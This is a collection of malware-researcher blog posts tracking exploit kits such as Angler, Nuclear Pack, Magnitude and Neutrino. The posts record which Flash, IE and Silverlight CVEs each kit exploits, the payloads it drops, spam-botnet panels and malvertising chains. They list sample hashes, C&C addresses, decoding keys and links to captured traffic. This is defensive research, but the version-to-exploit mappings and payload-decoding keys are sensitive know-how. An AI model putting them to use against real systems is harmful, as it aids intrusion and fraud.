Snipshot of MonterAV AffiliateAs I got many questions about an EK named XXX (that is said to be better than Angler 😉 ) I decided to share some data here.XXX Control Panel Login Page.XXX is Angler EK ( it's the real name of its most documented instance at least)Angler EK / XXX  IE sploit only Stats on 2015-07-25(for some reason Flash Exploits were not activated on that thread)Note the Chase Logo >> JPMorgan  >>  Cool EK's Exploit Buyer ;)You might want to read "The Transition - "Reveton Team" or "Mr.J/Monster AV" from :Paunch's arrest...The end of an Era ! (2013-10-11) . This is where I first wrote the defense chosen name for this Exploit Kit. The name is chosen after a logo from the Reveton Affiliate.Snipshot of "The Transition" after Paunch's ArrestBut Angler was around before the Reveton team started to use it.Here is one used against Ukrainian that i captured  in August 20132013-08-27 - Exploit Kit unknown to me at that timeAncestor of Angler EK as we know it[Payload here is most probably Lurk]when Reveton Team was still on Cool EK. It appears that instance had already Fileless capabilities.A Russian researcher friend connect that instance back to this Securelist post from 2012-03-16 : A unique ‘bodiless’ bot attacks news site visitorsSo the (c) 2010 at the bottom of the control panel is probably...the real birth year of Angler.This indexm.html variant of Angler EK is most probably still being used in RU/UA and was one of the early adopter of CVE-2015-0311 (a flash 0day from January) before many "standard" instances of Angler. There was still java exploit inside in march2015-01-27 - Angler EK "indexm" exploiting CVE-2015-2551 and firing Java exploits[Payload here is most probably Lurk]Angler EK has been briefly mentioned (translation here ) as part of a "partnerka" by a user using Menatep as Nickname in February 2014Conclusion : xxx is what we call Angler EK and Angler EK (indexm instance) is not that young!Files : 2 Fiddler pass of Angler EK "indexm" from 2013 and 2015 (Password : malware)Read More :Police Locker land on Android Devices - 2014-05-04Paunch's arrest...The end of an Era ! - 2013-10-11Crimeware Author Funds Exploit Buying Spree - 2013-01-07 - KrebsOnSecurityCool Exploit Kit - A new Browser Exploit Pack on the Battlefield with a "Duqu" like font drop - 2012-10-09A unique ‘bodiless’ bot attacks news site visitors - 2012-03-16 - Sergey Golovanov - SecurelistPost publication Reading :Russian hacker gang arrested over $25m theft - 2016-06-02 - BBC News [Cf Lurk]Is it the End of Angler ? - 2016-06-11How we helped to catch one of the most dangerous gangs of financial cybercriminals - 2016-08-30 - SecureList

One week after patch Flash 19.0.0.245 is being exploited by Angler EK via CVE-2015-8446Angler EK :2015-12-14CVE identification by Anton Ivanov ( Kaspersky ) and FireEye  (Thanks !)Angler EK exploiting Flash 19.0.0.245 via CVE-2015-84462015-12-14Sample in that pass : b5920eef8a3e193e0fc492c603a30aafSample from other Angler EK instance : 0615fb9e037b7bf717cc9b04708e51da 720089b93a0f2bb2a72f1166430de522Fiddler sent to VT.(Not replayable. You know how to contact me to land on live instances. I might not reply to mail coming from gmail,live,yahoo etc...  mailboxes)Out of topic : in that pass Bedep BuildID 5004 is loaded in Memory and is then grabbing those 2 dll in a streamf5c1a676166fe3472e6c993faee42b34d65f155381d26f8ddfa304c83b1ad95a (Credential Stealer)and after that performing AdfraudCVE-2015-8446 in Angler EK - malicious mp3 is stored in encrypted JSON (same schema as in CVE-2015-5560). pic.twitter.com/FCyvP43Q0X— Anton Ivanov (@antonivanovm) December 17, 2015 Last safe version of Flash against commercial exploit kit  was 19.0.0.226 fixing CVE-2015-7645Post publication readings :(Google Translate) Angler EK latest CVE-2015-8446 Flash Exploit analysis - 2015-12-19 - Qihoo360

Yesterday's Nymaim spam campaign was also redirecting to Nuclear Pack.Without big surprise the sample ( 592899e0eb3c06fb9fda59d03e4b5b53 ) dropped by Nuclear is the same as the fake update proposed.But there was an additionnal 11kb payload call for which i could not find sample on driveNuclear Pack dropping Nymaim in the 2015-11-30 Spam CampaignIt was also unusually encoded with two XOR pass and first part of the decoded stream is a Shellcode.Friends (who don't want to be mentioned) figured a privilege escalation was in use there :According to Kaspersky and Timo Hirvonen (F-Secure) it's CVE-2014-4113 ( Win32k.sys Elevation of Privilege Vulnerability )I did not got to see the privilege escalation in live condition.Note: it's not the first time a public Exploit Kit is integrating an exploit to escalates right on dropped payload (Cf CVE-2015-2426 in Magnitude )Files : Fiddler and Dll here (password is malware - XOR key : 56774347426F664767  then  213404052d09212031)Thanks : Kaspersky,  Timo Hirvonen , Malc0de and 2 other friends for taking some time and use their wizardness  on this.Read More :An Analysis of A Windows Kernel-Mode Vulnerability (CVE-2014-4113) - 2014-10-29 - TrendMicro

Trash and Mailbox by Bethesda SoftworksOtlard.A (or let's say at least the malware triggering 2806902 || ETPRO TROJAN Win32.Otlard.A C&C Checkin response )  is a Spam BotnetI saw it loaded as a plugin in an instance of AndromedaThat Andromeda is being spread via :Bedep build id 6005 and here 6007 from an Angler EK fed by Malvertising :VirtualDonna group redirecting traffic to an Angler instance loading Bedep buildid 6007 in memoryBedep 6007 loading Andromeda 55ead0e4010c7c1a601511286f879e33 before update task.2015-09-28Note : Bedep 6007 was sometimes loading it with other payload-2015-09-16 for : ec5d314fc392765d065ff16f21722008 with Trapwot (FakeAV) e600985d6797dec2f7388e86ae3e82ba and Pony a4f08c845cc8e2beae0d157a3624b686-2015-09-29 for : 37898c10a350651add962831daa4fffa with Kovter ( 24143f110e7492c3d040b2ec0cdfa3d0 )That Andromeda beaconing to dnswow .com enslaved >10k bots in a week :Andromeda dnswow 2015-11-22Andromeda dnswow 2015-11-27Here the Otlard.A task in that Andromeda instance :Task installing Otlard.A as a plugin to Andromedaa Task in a Smokebot dropped by Nuclear Pack fed by Malvertising :Malvertising > Nuclear Pack > Smokebot > Stealer, Ramnit, Htbot and Andromeda > Otlard.A2015-11-28Smokebot : cde587187622d5f23e50b1f5b6c86969Andromeda : b75f4834770fe64da63e42b8c90c6fcd(out of topic Ramnit : 28ceafaef592986e4914bfa3f4c7f5c0 - It's being massively spread those days in many infection path. (Edit 2015-12-29 :  Htbot.B :  d0a14abe51a61c727420765f72de843a named ProxyBack by PaloAlto)Now here is what the control panel of that plugin looks like :Otlard.A panel :Otlard.A - JahooManager - Main - 2015-09-27Otlard.A - JahooManager - Servers - 2015-09-27Otlard.A - JahooManager - Settings - 2015-09-27Otlard.A - JahooManager - Campaigns - 2015-09-27Otlard.A - JahooManager - Bot - 2015-09-27that exe is : 2387fb927e6d9d6c027b4ba23d8c3073 and appears to be AndromedaOtlard.A - JahooSender - Tasks - 2015-09-27Otlard.A - JahooSender - Tasks - 2015-11-28Otlard.A - JahooSender - Tasks - Done Task - 2015-09-27Otlard.A - JahooSender - Domains - 2015-09-27Otlard.A - JahooSender - Domains - 2015-11-28Otlard.A - JahooSender - Messages - 2015-09-27Otlard.A - JahooSender - Messages - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Headers - 2015-11-28Otlard.A - JahooSender - Headers - Editing Header - 2015-11-28Otlard.A - JahooSender - Headers - Editing Header - 2015-11-28Otlard.A - JahooSender - Macross - 2015-11-28Otlard.A - JahooSender - Macross - 2015-11-28Otlard.A - JahooSender - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender  - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender - Attach - 2015-11-28Otlard.A - JahooSender - Attach - Attached image - 2015-11-28Otlard.A - JahooSender - Rules - 2015-11-28Otlard.A - JahooSender - Rules > Spam - 2015-11-28Olard.A - JahooSender - Rules > User - 2015-11-28Olard.A - Bases - Emails - 2015-11-28Olard.A - Bases - Blacklist - 2015-11-28Olard.A - Bases - Blacklist - Edit - 2015-11-28Olard.A - Botnet - Main - 2015-09-27Olard.A - Botnet - Main - 2015-11-28Otlard.A - Botnet - Modules - 2015-11-28Otlard.A - Botnet - Modules - Edit - 2015-11-28Otlard.A - Incubator - Accounts - 2015-11-28Otlard.A - Incubator - Settings - 2015-11-28Note : registrator menu has disappeared in last version. --Andromeda C&C 2015-11-28 :5.8.35.241202023 | 5.8.35.0/24 | LLHOST | EU | llhost-inc.com | LLHost IncSpam Module C&C 2015-11-28 :5.8.32.10 5.8.32.85.8.32.525.8.34.205.8.32.535.8.32.56202023 | 5.8.32.0/24 | LLHOST | EU | zanufact.com | LLHost IncThanks : Brett StoneGross for helping me with decoding/understanding the network communicationsFiles :All samples which hashes have been discussed here are in that zip.Jahoo - socker.dll : 7d14c9edfd71d2b76dd18e3681fec798( If you want to look into this, i can provide associated network traffic)Read More :Inside Andromeda Bot v2.06 Webpanel / AKA Gamarue - Botnet Control Panel 2012-07-02Inside Pony 1.7 / Fareit C&C - Botnet Control Panel - 2012-06-27Inside Smoke Bot - Botnet Control Panel - 2012-04-28Post publication Reading :ProxyBack Malware Turns User Systems Into Proxies Without Consent - 2015-12-23 - JeffWhite - PaloAlto

The CVE-2015-7645 has been fixed with Adobe Flash Player 19.0.0.226. Spotted in the wild (2015-10-13) in APT28's exploit kit by TrendMicro, this exploit was already reported 2 weeks before (2015-09-29) to Adobe by Natalie Silvanovich.I reported the Flash 0-day (CVE-2015-7645) two weeks before it was found in the wild https://t.co/nYeAWRG5jO— Natalie Silvanovich (@natashenka) 16 Octobre 2015 It has now made its way to Exploit KitAngler EK :2015-10-29CVE id confirmed by by Anton Ivanov ( Kaspersky )Angler EK successfully exploiting Flash 19.0.0.2072015-10-29Flash sample in that pass : 4af57fb1c71bb9c1599371d48240ff36Another sample : bea824974f958ac4efc58484a88a9c18One more from the Poweliks instance : 0d72221d41eff55dcfd0da50cd1c545eNot replayable fiddler sent to VTOut of topic sample loaded by bedep :5a60925ea3cc52c264b837e6f2ee915e Necursa9d5a9a997954f5421c94ac89d2656cd Vawtrak ( < that one was not expected in that infection path)2016-03-12Edge is now being served a landing and the flash being sent is targeting this CVE according to Kaspersky and EsetAngler EK exploiting Flash 18.0.0.209 on Windows 10 (build 10240) through EdgeFiddler : AnglerEK_Edge_18.0.0.209_2016-03-11.zipNuclear Pack:2015-10-30Nuclear Pack which has been playing with landing URI pattern lately has integrated itCVE-2015-7645 in Nuclear Pack on 2015-10-30Sample in that pass : f5dd2623ae871d58483bf14ec5d635e4Out of topic payload : 0b3de2a8d838883e10a1d824d20fe95c Kelihos Loader (harsh02)Fiddler sent to VTMagnitude:2015-11-10Magnitude trying to exploit CVE-2015-76452015-11-10Spotted sample : 21993dd3b943d935a9296aeff831cbb9 CVE id confirmed by Timo HirvonenNo payload but the actor behind that thread would like to see you Cryptowalled. Update might come.Spartan :2015-11-12Without surprise as Spartan is the work of the coder of Nuclear Pack.Note : old version of Chrome <= 43.0.257 and Firefox < 38 seems to be falling as wellSpartan pushing Pony and Alphacrypt via CVE-2015-76452015-11-12Sample in that pass : 1c074c862d3e25ec9674e6bd62965ad8  (another one: 66f34cd7ef06a78df552d18c729ae53c )(out of topic payload : Pony: 29c940f9d0805771e9c7ec8a5939fa25 (45.63.71.12 /myadvert/autoget.php) and Cryptowall 74ebff4acc4ad9c2a2e665ff293c02e6  NB earlier today drops were Pony and Alphacrypt ) Fiddler sent to VTNeutrino:Most probably appeared 2015-10-16Necurs being dropped by Neutrino via CVE-2015-76452015-11-17Sample in that pass: 7dd9813ef635e98dd9585deaefecfcff(Out of topic payload : Necurs a83a96e87e80adef1e4598a645f2918c )Fiddler sent to VT  (You might want to read the detailed analysis by Trustave)Read More :Adobe Flash: Type Confusion in IExternalizable.writeExternal When Performing Local Serialization - 2015-09-29 - Natalie SilvanovichNew Adobe Flash Zero-Day Used in Pawn Storm Campaign Targeting Foreign Affairs Ministries - 2015-10-13 - Feike Hacquebord - Brooks Li - Peter Pi - TrendMicroLatest Flash Exploit Used in Pawn Storm Circumvents Mitigation Techniques - 2015-10-16 - Peter Pi - TrendMicroPost Publication Reading :Neutrino Exploit Kit – One Flash File to Rule Them All - 2015-12-28 - Daniel Chechik and Anat Davidi - Spiderlabs/Trustwave

In the post on the UK focused Shifu I illustrated malvertising traffic to Angler.The traffer group behind this activity is the same exposed by BelchSpeak from Invincea in many tweets (explaining the addition of code to spot Invincea Sandbox)  FoxIT in june,  Malwarebytes in September,  or Trendmicro 2 weeks ago.As it's easier to have a name to share/talk  about stuff i'll use "VirtualDonna Traffers" to refer to them (virtualdonna .com is one of the domains they used that got some attention)Earlier this year they were using https bit.ly,2015-07-11 - bit.ly as https url shortenertiny url2015-07-11 - tiny url as https url shorteneror goo.gl url shortener2015-06-12 - goo.gl as https url shorterner and switched to their own https redirector behind cloudflare around the middle of September ( naotsandhap.euTwo pass here : same source (Dailymotion), same country (Australia), same Traffer for same customer (how/why? same payload : Reactorbot  srvdexpress3 .com)Different Legit part of the chain2015-09-29then 2 weeks ago mediacpm.com and wrontoldretter.eu )https gives the traffer the ability to kill the referer chain (making it more difficult to figure out where the Exploit Kit landing spotted in the traffic is coming from).Once discovered a way to Sig this is to flag the ssl certificate being used.Those days they are using a DoubleClick https open redirect.VirtualDonna Traffers exploiting an https open redirect by Doubleclick in its chain to Angler EKGB - 2015-10-15Out of topic Payload in that pass : Shifu - 695d6fbd8ab789979a97fb886101c576 beaconing to nyctradersacademy .comDoubleclick has been informed about the issue.Post Publication Readings :The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK - 2015-12-15 - ProofpointLet’s Encrypt Now Being Abused By Malvertisers - 2016-01-06 - TrendMicro

I noticed since several days a shift in malware distribution in the UK.Many infection path that I follow are now dropping a banker that i already saw many times, especially at the end of 2014 and mostly in Italy.First time I encountered that threat : 2014-10-08Angler EK dropping 165146e43ccee9c29b62693caf290df7 in an IT focused infection path2014-10-08At that time I learnt from Frank Ruiz ( FoxIT ) that he spotted it 1 month earlier (2014-09-03 exactly). We were using a "non public" name to talk about it.So two days ago in UK traffic :2015-09-22 - An Angler EK dropping  0598ee3e06c681d7f9e05d83bb7ea422 via malvertising on GBR trafficI saw that banking trojan again. (note : contacted,  Frank Ruiz told me that this banker activity never really stopped). What was new to me is that it was installing Apache,Apache folder installed by 0598ee3e06c681d7f9e05d83bb7ea422 2015-09-22Apache ConfigData folder of the Apache installationCustomers of 4 financial institutions are targeted by the injects stored in the config.xmlconfig.xmlThe same day i saw it again, other malvertising campaign (read: other actor bringing the traffic) and not dropped directly but as a 2nd Stage in a bedep thread which was not grabbing an adfraud module:Angler EK pushing bedep grabbing 791491ba9f0a7670659f45f1e5421c83 2015-09-22Seeing it again today in malvertising campaign focused on UK, I decided to write about that and contacted Brett StoneGross (Dell SecureWorks) to try and get the 'defense name' for this. He told me that what I was describing was probably Shifu ..and fast confirmed it looking at the sample. (Edit reaction to twitter : He also told me that Shifu is based on Shiz)So here we are: Shifu <3 GBRShifu <3 GBR2015-09-24Side note : Here are some of the DGA in case main domain stop working.Files : ShifuPackage_2015-09-24.zip Password : malwareContains : 4 fiddler, 1 pcap, 6 samples and 2 apache config folder (with injects).Thanks: Frank Ruiz (Foxit) and Brett StoneGross (Dell SecureWorks) for their inputs/insight/awesomeness.Read More:Shifu: ‘Masterful’ New Banking Trojan Is Attacking 14 Japanese Banks - 2015-08-31 - Limor Kessem - IBM X-ForceJapanese Banking Trojan Shifu Combines Malware Tools - 2015-09-24 - Diwakar Dinkar - McAfeePost publication Reading:3,000 High-Profile Japanese Sites Hit By Massive Malvertising Campaign  2015-09-30 - Trenmicro

Patched with flash version 18.0.0.232, CVE-2015-5560 is now being exploited by Angler EK.Angler EK :2015-08-29[Edit : 2015-09-01] Exploit candidated by by Anton Ivanov ( Kaspersky ) as CVE-2015-5560 [/edit]The exploit has been added the 28th. It's not being sent to Flash 18.0.0.232..It uses the same Diffie-Hellman Key Exchange technique described by FireEye as in their CVE-2015-2419 implementation making a default fiddler unreplayable.Angler EK pushing Bedep to Win7 IE11 Flash 18.0.0.209 - CVE-2015-55602015-08-29Sample in that pass : 9fbb043f63bb965a48582aa522cb1fd0Fiddler sent to VT (password is malware)Note: with help from G Data, a replayable fiddler is available. No public share (you know how to get it).Nuclear Pack :2015-09-10Additional post spotted on the 2015-09-10Nuclear Pack additionnal post on 2015-09-10 showing integration of CVE-2015-5560 was on the roadand got a first payload  the day after :Nuclear Pack successfully exploiting Flash 18.0.0.209 with CVE-2015-5560 (rip from Angler)2015-09-11( Out of topic payload : 91b76aaf6f7b93c667f685a86a7d68de  Smokebot C&C  hostnamessimply1.effers .com: )Files : Fiddler here (Password is malware)Read More :Adobe Flash: Overflow in ID3 Tag Parsing - 2015-06-12 Google Security ResearchThree bypasses and a fix for one of Flash's Vector.<*> mitigations - 2015-08-19 - Chris Evans - Google Project ZeroCVE-2015-2419 – Internet Explorer Double-Free in Angler EK  - 2015-08-10 - FireEyeBedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schartz - Arbor SertPost publication reading :Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit - 2015-09-08 KasperskyAnalysis of Adobe Flash Player ID3 Tag Parsing Integer Overflow Vulnerability (CVE-2015-5560) - 2016-01-12 - Nahuel Riva - CoreSecurity

As published by FireEye Angler EK is now exploiting CVE-2015-2419 fixed with MS15-065Angler EK :2015-08-10It seems they might have started to work on that exploit as early as 2015-07-24 where some instances briefly used code to gather ScriptEngineVersion from redirected visitors :Angler EK gathering ScriptEngineVersion data the fast way.2015-07-24Today first pass i made was showing a new POST call and was successfully exploiting a VM that used to be safe to Angler.CVE-2015-2419 successfully exploiting IE11 in windows 72015-08-10(Here bedep grabbing Pony and TeslaCrypt then doing some AdFraud)I spent (too much 😉 ) time trying to decode that b value in the POST reply.Here are some materials :- The landing after first pass of decoding and with some comments : http://pastebin.com/JQuyAXarThe post call is handled by String['prototype']['jjd'] , ggg is sent to Post data as well as the ScriptEngineVersion (in the shared pass : 17728 )- The l() function handling the post : http://pastebin.com/hxZJwbaY- The post data and reply after first pass of decoding : http://pastebin.com/raw.php?i=NWkU7CXrFiles : 2 Fiddlers (ScriptEngineVersion Gathering and successfull pass - use malware as password)Thanks :Horgh_RCE for his helpMagnitude :2015-08-22( I am waiting for some strong confirmation on CVE-2015-2426 used as PrivEsc only here )Magnitude successfully exploiting CVE-2015-2419 to push an elevated (CVE-2015-2426) Cryptowall on IE11 in Win72015-08-22As you can see the CVE-2015-2419 is a RIP of Angler EK's implementation (even containing their XTea key, despite payload is in clear)Note : The CVE-2015-2426 seems to be used for privilege escalation onlyCryptowall dropped by Magnitude executed as NT Authority\system after CVE-2015-24262015-08-23and has been associated to flash Exploit as well.Pass showing the privilege escalation has been associated to flash Exploit as well.2015-08-23Files : CVE-2015-2419 pass (password: malware)CVE-2015-5122 pass featuring CVE-2015-2426 (password : malware)Thanks :Horgh_RCE , EKWatcher and Will Metcalf for their helpNuclear Pack:2015-08-23Nuclear Pack exploiting IE11 in Win7 with CVE-2015-2419 to push TeslaCrypt2015-08-23Files :  Fiddler (Password is malware)Neutrino :CVE Identification by Timo HirvonenNeutrino successfully exploiting CVE-2015-2419 on IE11 in Windows 72015-08-27(Out of topic payload : c7692ccd9e9984e23003bef3097f7746  Betabot)Files: Fiddler (Password is malware)RIG:2015-08-27RIG successfully exploiting CVE-2015-24192015-08-27(Out of topic payload : fe942226ea57054f1af01f2e78a2d306 Kelihos (kilo601)Files : Fiddler (password is malware)Hunter :2015-08-27@hunter_exploit 2015-08-26As spotted by Proofpoint Hunter EK has integrated CVE-2015-2419Hunter Exploit Kit successfully exploiting CVE-2015-24192015-08-27Files : Fiddler (password is malware)Kaixin :2016-01-08Files: Fiddler here (password is malware)( out of topic Payload : bb1fff88c3b86baa29176642dc5f278d firing PCRat/Gh0st ET rule 2016922 )Sundown :2016-07-06 - Thanks  Anton Ivanov (Kaspersky) for confirmationSundown successfully Exploiting CVE-2015-2419 - 2016-07-06cmd into wscript into Neutrino-ish named / RC4ed Payload let think this is a Rip from Neutrino implementation( Out of topic payload: bcb80b5925ead246729ca423b7dfb635 is a Netwire Rat )Files : Sundown_CVE-2015-2419_2016-07-06 (password is malware)Read More :Hunter Exploit Kit Targets Brazilian Banking Customers - 2015-08-27 - ProofpointCVE-2015-2419 – Internet Explorer Double-Free in Angler EK - 2015-08-10 - Sudeep Singh, Dan Caselden - FireEye2015-08-10 - ANGLER EK FROM 144.76.161.249 SENDS BEDEP This pass shared by Brad from Malware-Traffic-Analysis is including the CVE-2015-2419Generic bypass of next-gen intrusion / threat / breach detection systems - 2015-06-05 - Zoltan Balazs - EffitasPost publication Reading :Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit - 2015-09-08 Kaspersky

Patched with ms15-044 CVE-2015-1671 is described as TrueType Font Parsing Vulnerability.Silverlight up to 5.1.30514.0 are affected, but note : most browser will warn that the plugin is outdatedOut of date Plugin protection in Chrome 39.0.2171.71Out of date ActiveX controls blocking in Internet Explorer 11(introduced in August 2014)and also consider that Microsoft announced the end of Silverlight at beginning of the month.Angler EK :2015-07-21Around the 1st of July some new Silverlight focused code appeared in Angler EK landing.It even seems coders made some debug or something wrong as you could see this kind of popup several hours long on Angler EK.Deofuscated snipet of Silverlight call exposed to Victims in Angler EK2015-07-02I failed trying to get something else than a 0 size silverlight calls.I heard about filled calls from Eset and EKWatcher.The exploit sent was 3fff76bfe2084c454be64be7adff2b87  and appears to be a variation of CVE-2015-1671 (Silverlight 5 before 5.1.40416.00).  I spent hours trying to get a full exploit chain....No luck. Only 0size calls.But, it seems it's back today (or i get more lucky ? ) :--Disclaimer : many indicators are whispering it's the same variation of CVE-2015-1671, but I am still waiting for a strong confirmation--Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in IE 11 on Windows 72015-07-21Silverlight 5.1_10411.0 exploited by Angler EK via CVE-2015-1671 in Chrome 39 on Windows 72015-07-21Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in Firefox 38 on Windows 72015-07-21Two x86 - x64 dll are encoded in the payload stream with XTea Key : m0boo69biBjSmd3pSilverlight dll in DotPeek after Do4dotSample in those pass : ac05e093930662a2a2f4605f7afc52f2(Out of topic payload is bedep which then gather an adfraud module - you have the XTea key if you want to extract)Files: Fiddler (password is malware)[Edit : 2015-07-26, has been spread to all Angler Threads]Thanks for help/tips :Eset, Microsoft, Horgh_RCE,  Darien Huss, Will Metcalf, EKWatcher.Magnitude :2015-07-28  has been spotted by Will Metcalf in MagnitudeIt's a rip of Angler's oneSilverlight 5.1.30514.0 exploited by Magnitude2015-08-29Files: Fiddler (password is malware)Read more :CVE-2013-0074/3896 (Silverlight) integrates Exploit Kits - 2013-11-13